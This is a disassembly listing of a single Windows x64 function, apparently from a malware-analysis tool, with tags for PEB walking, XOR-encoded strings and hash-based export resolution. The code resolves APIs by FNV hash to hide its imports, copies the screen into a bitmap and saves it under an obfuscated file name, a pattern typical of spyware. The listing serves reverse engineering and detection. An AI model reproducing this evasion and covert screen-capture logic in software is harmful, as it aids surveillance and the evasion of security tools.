Function at 0x14000fea0
Capabilities:
Access peb ldr_data
Encode data using xor
Get kernel32 base address
Get process filename
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x350]
sub rsp, 0x450
mov rax, qword [0x140090040]
xor rax, rsp
mov qword [rbp + 0x340], rax
mov qword [rbp - 0x70], rcx
mov qword [rbp - 0x38], rcx
xor r13d, r13d
lea rcx, [rbp - 0x68]
call fcn.14000f490
mov rbx, rax
lea rax, [0x1400930f8]
cmp rax, rbx
je 0x14000ff79
mov rdx, qword [0x140093110]
cmp rdx, 0xf
jbe 0x14000ff3c
inc rdx
mov rcx, qword [0x1400930f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ff37
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010e30
call fcn.1400491b0
mov qword [0x140093108], r13
mov qword [0x140093110], 0xf
mov byte [0x1400930f8], r13b
movups xmm0, xmmword [rbx]
movups xmmword [0x1400930f8], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [0x140093108], xmm1
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], 0xf
mov byte [rbx], r13b
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x14000ffb4
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ffaf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010e30
call fcn.1400491b0
mov dword [rbp - 0x10], 1
mov qword [rbp - 8], r13
mov qword [rbp], r13
xor r8d, r8d
lea rdx, [rbp - 0x10]
lea rcx, [rbp - 0x38]
call qword [sym.imp.gdiplus.dll_GdiplusStartup]
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov r15, qword [rcx + 0x10]
mov r14, r15
nop dword [rax + rax]
mov r11, qword [r14 + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov esi, dword [rax + r11 + 0x88]
add rsi, r11
cmp rsi, r11
je 0x140010079
mov r10d, dword [rsi + 0x18]
test r10d, r10d
je 0x140010079
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r10d
lea rax, [r11 + r10*4]
mov r8d, dword [rax + rdi]
add r8, r11
mov r9d, 0x811c9dc5
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x140010074
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
movzx edx, byte [r8]
lea r8, [r8 + 1]
test dl, dl
jne 0x140010040
cmp r9d, 0x4244b11e
je 0x1400108ce
test r10d, r10d
jne 0x140010020
mov rax, qword [r14]
mov r14, rax
cmp rax, r15
je 0x14001008e
cmp qword [rax + 0x30], r13
jne 0x14000fff0
mov rdx, r13
xor ecx, ecx
call rdx
mov qword [rsp + 0x70], rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov r15, qword [rcx + 0x10]
mov r14, r15
nop
mov r11, qword [r14 + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov esi, dword [rax + r11 + 0x88]
add rsi, r11
cmp rsi, r11
je 0x140010139
mov r10d, dword [rsi + 0x18]
test r10d, r10d
je 0x140010139
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r10d
lea rax, [r11 + r10*4]
mov r8d, dword [rax + rdi]
add r8, r11
mov r9d, 0x811c9dc5
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x140010134
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
movzx edx, byte [r8]
lea r8, [r8 + 1]
test dl, dl
jne 0x140010100
cmp r9d, 0x5bb57373
je 0x1400108ea
test r10d, r10d
jne 0x1400100e0
mov rax, qword [r14]
mov r14, rax
cmp rax, r15
je 0x14001014e
cmp qword [rax + 0x30], r13
jne 0x1400100b0
mov rdx, r13
xor ecx, ecx
call rdx
mov r12d, eax
mov dword [rsp + 0x78], eax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov r15, qword [rcx + 0x10]
mov r14, r15
mov r11, qword [r14 + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov esi, dword [rax + r11 + 0x88]
add rsi, r11
cmp rsi, r11
je 0x1400101f9
mov r10d, dword [rsi + 0x18]
test r10d, r10d
je 0x1400101f9
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r10d
lea rax, [r11 + r10*4]
mov r8d, dword [rax + rdi]
add r8, r11
mov r9d, 0x811c9dc5
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x1400101f4
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
movzx edx, byte [r8]
lea r8, [r8 + 1]
test dl, dl
jne 0x1400101c0
cmp r9d, 0x5bb57373
je 0x140010906
test r10d, r10d
jne 0x1400101a0
mov rax, qword [r14]
mov r14, rax
cmp rax, r15
je 0x14001020e
cmp qword [rax + 0x30], r13
jne 0x140010170
mov rdx, r13
mov ecx, 1
call rdx
mov r13d, eax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov r15, qword [rcx + 0x10]
mov r14, r15
nop
mov r11, qword [r14 + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov esi, dword [rax + r11 + 0x88]
add rsi, r11
cmp rsi, r11
je 0x1400102b9
mov r10d, dword [rsi + 0x18]
test r10d, r10d
je 0x1400102b9
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r10d
lea rax, [r11 + r10*4]
mov r8d, dword [rax + rdi]
add r8, r11
mov r9d, 0x811c9dc5
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x1400102b4
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
movzx edx, byte [r8]
lea r8, [r8 + 1]
test dl, dl
jne 0x140010280
cmp r9d, 0xae558b9a
je 0x140010922
test r10d, r10d
jne 0x140010260
mov rax, qword [r14]
mov r14, rax
cmp rax, r15
je 0x1400102cf
cmp qword [rax + 0x30], 0
jne 0x140010230
xor edx, edx
mov rcx, qword [rsp + 0x70]
call rdx
mov qword [rbp - 0x80], rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov r15, qword [rcx + 0x10]
mov r14, r15
mov r11, qword [r14 + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov esi, dword [rax + r11 + 0x88]
add rsi, r11
cmp rsi, r11
je 0x140010379
mov r10d, dword [rsi + 0x18]
test r10d, r10d
je 0x140010379
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r10d
lea rax, [r11 + r10*4]
mov r8d, dword [rax + rdi]
add r8, r11
mov r9d, 0x811c9dc5
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x140010374
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
movzx edx, byte [r8]
lea r8, [r8 + 1]
test dl, dl
jne 0x140010340
cmp r9d, 0x8c0eea10
je 0x14001093e
test r10d, r10d
jne 0x140010320
mov rax, qword [r14]
mov r14, rax
cmp rax, r15
je 0x14001038f
cmp qword [rax + 0x30], 0
jne 0x1400102f0
xor r9d, r9d
mov r8d, r13d
mov edx, r12d
mov rcx, qword [rsp + 0x70]
call r9
mov r12, rax
mov qword [rbp - 0x78], rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov r15, qword [rcx + 0x10]
mov r14, r15
nop dword [rax + rax]
mov r11, qword [r14 + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov esi, dword [rax + r11 + 0x88]
add rsi, r11
cmp rsi, r11
je 0x140010449
mov r10d, dword [rsi + 0x18]
test r10d, r10d
je 0x140010449
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r10d
lea rax, [r11 + r10*4]
mov r8d, dword [rax + rdi]
add r8, r11
mov r9d, 0x811c9dc5
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x140010444
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
movzx edx, byte [r8]
lea r8, [r8 + 1]
test dl, dl
jne 0x140010410
cmp r9d, 0x88a9b502
je 0x14001095b
test r10d, r10d
jne 0x1400103f0
mov rax, qword [r14]
mov r14, rax
cmp rax, r15
je 0x14001045f
cmp qword [rax + 0x30], 0
jne 0x1400103c0
xor r8d, r8d
mov rdx, r12
mov rcx, qword [rbp - 0x80]
call r8
mov r12, rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov r15, qword [rcx + 0x10]
mov r14, r15
nop dword [rax]
nop word [rax + rax]
mov r11, qword [r14 + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov esi, dword [rax + r11 + 0x88]
add rsi, r11
cmp rsi, r11
je 0x140010519
mov r10d, dword [rsi + 0x18]
test r10d, r10d
je 0x140010519
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r10d
lea rax, [r11 + r10*4]
mov r8d, dword [rax + rdi]
add r8, r11
mov r9d, 0x811c9dc5
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x140010514
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
movzx edx, byte [r8]
lea r8, [r8 + 1]
test dl, dl
jne 0x1400104e0
cmp r9d, 0xae541f0e
je 0x140010978
test r10d, r10d
jne 0x1400104c0
mov rax, qword [r14]
mov r14, rax
cmp rax, r15
je 0x14001052f
cmp qword [rax + 0x30], 0
jne 0x140010490
xor r10d, r10d
mov dword [rsp + 0x40], 0xcc0020
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r13d
mov r9d, dword [rsp + 0x78]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp - 0x80]
call r10
movups xmm0, xmmword [0x140081808]
movups xmmword [rsp + 0x50], xmm0
mov ecx, dword [0x140081818]
mov dword [rsp + 0x60], ecx
movzx eax, word [0x14008181c]
mov edx, 0x69
mov word [rsp + 0x50], dx
xor word [rsp + 0x52], 0x32
xor word [rsp + 0x54], 0x33
xor word [rsp + 0x56], 0x34
xor word [rsp + 0x58], 0x35
xor word [rsp + 0x5a], 0x36
xor word [rsp + 0x5c], 0x37
xor word [rsp + 0x5e], 0x38
xor cx, 0x39
mov word [rsp + 0x60], cx
xor word [rsp + 0x62], 0x3a
xor ax, 0x3b
mov word [rsp + 0x64], ax
lea rdx, [rbp + 8]
lea rcx, [rsp + 0x50]
call fcn.14000fb10
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov r15, qword [rcx + 0x10]
mov r14, r15
nop word [rax + rax]
mov r11, qword [r14 + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov esi, dword [rax + r11 + 0x88]
add rsi, r11
cmp rsi, r11
je 0x140010689
mov r10d, dword [rsi + 0x18]
test r10d, r10d
je 0x140010689
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r10d
lea rax, [rdi + r10*4]
mov r8d, dword [rax + r11]
add r8, r11
mov r9d, 0x811c9dc5
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x140010684
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
movzx edx, byte [r8]
lea r8, [r8 + 1]
test dl, dl
jne 0x140010650
cmp r9d, 0x7a2651b1
je 0x140010995
test r10d, r10d
jne 0x140010630
mov rax, qword [r14]
mov r14, rax
cmp rax, r15
je 0x14001069f
cmp qword [rax + 0x30], 0
jne 0x140010600
xor edi, edi
mov r8d, edi
lea rdx, [rbp + 0x20]
mov ecx, 0x104
call r8
mov eax, dword [0x140081830]
mov dword [rbp - 0x40], eax
movzx eax, byte [0x140081834]
mov byte [rbp - 0x40], 0x2e
xor byte [rbp - 0x3f], 0x32
xor byte [rbp - 0x3e], 0x33
xor byte [rbp - 0x3d], 0x34
xor al, 0x35
mov byte [rbp - 0x3c], al
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x58], xmm1
lea rax, [rbp + 0x20]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400106f0
lea rdx, [rbp + 0x20]
lea rcx, [rbp - 0x68]
call fcn.1400055d0
nop
cmp qword [0x140093110], 0xf
lea rdx, [0x1400930f8]
cmova rdx, qword [0x1400930f8]
mov r8, qword [0x140093108]
lea rcx, [rbp - 0x68]
call fcn.140004e50
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rax, [rbp - 0x40]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140010770
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x50]
call fcn.140004e50
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x20], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x20], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x1400107f2
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400107ed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010e36
call fcn.1400491b0
movdqa xmm0, xmmword [0x140084880]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x140010840
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001083b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010e3c
call fcn.1400491b0
movdqa xmm0, xmmword [0x140084880]
movdqu xmmword [rbp - 0x58], xmm0
mov byte [rbp - 0x68], 0
lea r8, [rbp - 0x30]
cmp qword [rbp - 0x18], 0xf
cmova r8, qword [rbp - 0x30]
mov dword [rsp + 0x28], 0x104
lea rax, [rbp + 0x130]
mov qword [rsp + 0x20], rax
xor edx, edx
xor ecx, ecx
lea r9d, [rdx - 1]
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ecx, 0x18
call qword [sym.imp.gdiplus.dll_GdipAlloc]
mov rbx, rax
test rax, rax
je 0x1400109b4
mov qword [rax + 8], rdi
mov qword [rax + 0x10], rdi
lea rax, vtable.Gdiplus::Bitmap.0
mov qword [rbx], rax
mov qword [rbp - 0x40], rdi
lea r8, [rbp - 0x40]
xor edx, edx
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.gdiplus.dll_GdipCreateBitmapFromHBITMAP]
mov dword [rbx + 0x10], eax
mov rax, qword [rbp - 0x40]
mov qword [rbx + 8], rax
jmp 0x1400109b7
mov ecx, dword [rsi + 0x1c]
add rcx, r11
mov eax, dword [rsi + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r11
jmp 0x140010091
mov ecx, dword [rsi + 0x1c]
add rcx, r11
mov eax, dword [rsi + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r11
jmp 0x140010151
mov ecx, dword [rsi + 0x1c]
add rcx, r11
mov eax, dword [rsi + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r11
jmp 0x140010211
mov ecx, dword [rsi + 0x1c]
add rcx, r11
mov eax, dword [rsi + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r11
jmp 0x1400102d1
mov ecx, dword [rsi + 0x1c]
add rcx, r11
mov eax, dword [rsi + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov r9d, dword [rcx + rax*4]
add r9, r11
jmp 0x140010392
mov ecx, dword [rsi + 0x1c]
add rcx, r11
mov eax, dword [rsi + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov r8d, dword [rcx + rax*4]
add r8, r11
jmp 0x140010462
mov ecx, dword [rsi + 0x1c]
add rcx, r11
mov eax, dword [rsi + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
jmp 0x140010532
mov ecx, dword [rsi + 0x1c]
add rcx, r11
mov eax, dword [rsi + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov r8d, dword [rcx + rax*4]
add r8, r11
xor edi, edi
jmp 0x1400106a4
mov rbx, rdi
xor r9d, r9d
lea r8, [rbp + 8]
lea rdx, [rbp + 0x130]
mov rcx, qword [rbx + 8]
call qword [sym.imp.gdiplus.dll_GdipSaveImageToFile]
mov r13d, eax
test eax, eax
je 0x1400109db
mov dword [rbx + 0x10], eax
jmp 0x1400109de
mov r13d, edi
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov r15, qword [rcx + 0x10]
mov r14, r15
nop dword [rax]
nop word [rax + rax]
mov r11, qword [r14 + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov esi, dword [rax + r11 + 0x88]
add rsi, r11
cmp rsi, r11
je 0x140010a89
mov r10d, dword [rsi + 0x18]
test r10d, r10d
je 0x140010a89
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r10d
lea rax, [rdi + r10*4]
mov r8d, dword [rax + r11]
add r8, r11
mov r9d, 0x811c9dc5
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x140010a84
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
movzx edx, byte [r8]
lea r8, [r8 + 1]
test dl, dl
jne 0x140010a50
cmp r9d, 0x88a9b502
je 0x140010d27
test r10d, r10d
jne 0x140010a30
mov rax, qword [r14]
mov r14, rax
cmp rax, r15
je 0x140010a9f
cmp qword [rax + 0x30], 0
jne 0x140010a00
xor r8d, r8d
mov rdx, r12
mov r12, qword [rbp - 0x80]
mov rcx, r12
call r8
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov r15, qword [rcx + 0x10]
mov r14, r15
nop dword [rax]
nop word [rax + rax]
mov r11, qword [r14 + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov esi, dword [rax + r11 + 0x88]
add rsi, r11
cmp rsi, r11
je 0x140010b59
mov r10d, dword [rsi + 0x18]
test r10d, r10d
je 0x140010b59
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r10d
lea rax, [rdi + r10*4]
mov r8d, dword [rax + r11]
add r8, r11
mov r9d, 0x811c9dc5
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x140010b54
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
movzx edx, byte [r8]
lea r8, [r8 + 1]
test dl, dl
jne 0x140010b20
cmp r9d, 0x74b22f81
je 0x140010d44
test r10d, r10d
jne 0x140010b00
mov rax, qword [r14]
mov r14, rax
cmp rax, r15
je 0x140010b6f
cmp qword [rax + 0x30], 0
jne 0x140010ad0
xor edx, edx
mov rcx, qword [rbp - 0x78]
call rdx
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov r15, qword [rcx + 0x10]
mov r14, r15
nop dword [rax + rax]
mov r11, qword [r14 + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov esi, dword [rax + r11 + 0x88]
add rsi, r11
cmp rsi, r11
je 0x140010c19
mov r10d, dword [rsi + 0x18]
test r10d, r10d
je 0x140010c19
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r10d
lea rax, [rdi + r10*4]
mov r8d, dword [rax + r11]
add r8, r11
mov r9d, 0x811c9dc5
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x140010c14
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
movzx edx, byte [r8]
lea r8, [r8 + 1]
test dl, dl
jne 0x140010be0
cmp r9d, 0x1e874a2b
je 0x140010d60
test r10d, r10d
jne 0x140010bc0
mov rax, qword [r14]
mov r14, rax
cmp rax, r15
je 0x140010c2f
cmp qword [rax + 0x30], 0
jne 0x140010b90
xor edx, edx
mov rcx, r12
call rdx
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov r15, qword [rcx + 0x10]
mov r14, r15
nop word [rax + rax]
mov r11, qword [r14 + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov esi, dword [rax + r11 + 0x88]
add rsi, r11
cmp rsi, r11
je 0x140010cd7
mov r10d, dword [rsi + 0x18]
test r10d, r10d
je 0x140010cd7
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r10d
lea rax, [rdi + r10*4]
mov r8d, dword [rax + r11]
add r8, r11
mov r9d, 0x811c9dc5
movzx eax, byte [r8]
inc r8
test al, al
je 0x140010cd2
nop
movsx ecx, al
sub al, 0x41
mov edx, ecx
or edx, 0x20
cmp al, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx eax, byte [r8]
lea r8, [r8 + 1]
test al, al
jne 0x140010ca0
cmp r9d, 0x8c9933f7
je 0x140010d7c
test r10d, r10d
jne 0x140010c80
mov rax, qword [r14]
mov r14, rax
cmp rax, r15
je 0x140010ced
cmp qword [rax + 0x30], 0
jne 0x140010c50
xor edi, edi
mov r8d, edi
mov rdx, qword [rsp + 0x70]
xor ecx, ecx
call r8
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.gdiplus.dll_GdiplusShutdown]
test r13d, r13d
jne 0x140010d9b
mov rax, qword [rbp - 0x70]
movups xmm0, xmmword [rbp - 0x30]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rbp - 0x20]
movups xmmword [rax + 0x10], xmm1
jmp 0x140010dfa
mov ecx, dword [rsi + 0x1c]
add rcx, r11
mov eax, dword [rsi + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov r8d, dword [rcx + rax*4]
add r8, r11
jmp 0x140010aa2
mov ecx, dword [rsi + 0x1c]
add rcx, r11
mov eax, dword [rsi + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r11
jmp 0x140010b71
mov ecx, dword [rsi + 0x1c]
add rcx, r11
mov eax, dword [rsi + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r11
jmp 0x140010c31
mov ecx, dword [rsi + 0x1c]
add rcx, r11
mov eax, dword [rsi + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov r8d, dword [rcx + rax*4]
add r8, r11
xor edi, edi
jmp 0x140010cf2
xorps xmm0, xmm0
mov rbx, qword [rbp - 0x70]
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
xor r8d, r8d
lea rdx, [0x140081220]
mov rcx, rbx
call fcn.1400055d0
nop
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x140010df7
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010df2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010e2a
call fcn.1400491b0
mov rax, rbx
mov rcx, qword [rbp + 0x340]
xor rcx, rsp
call fcn.140049190
lea r11, [rsp + 0x450]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400500ac
int3
call fcn.1400500ac
nop
call fcn.1400500ac
nop
call fcn.1400500ac
int3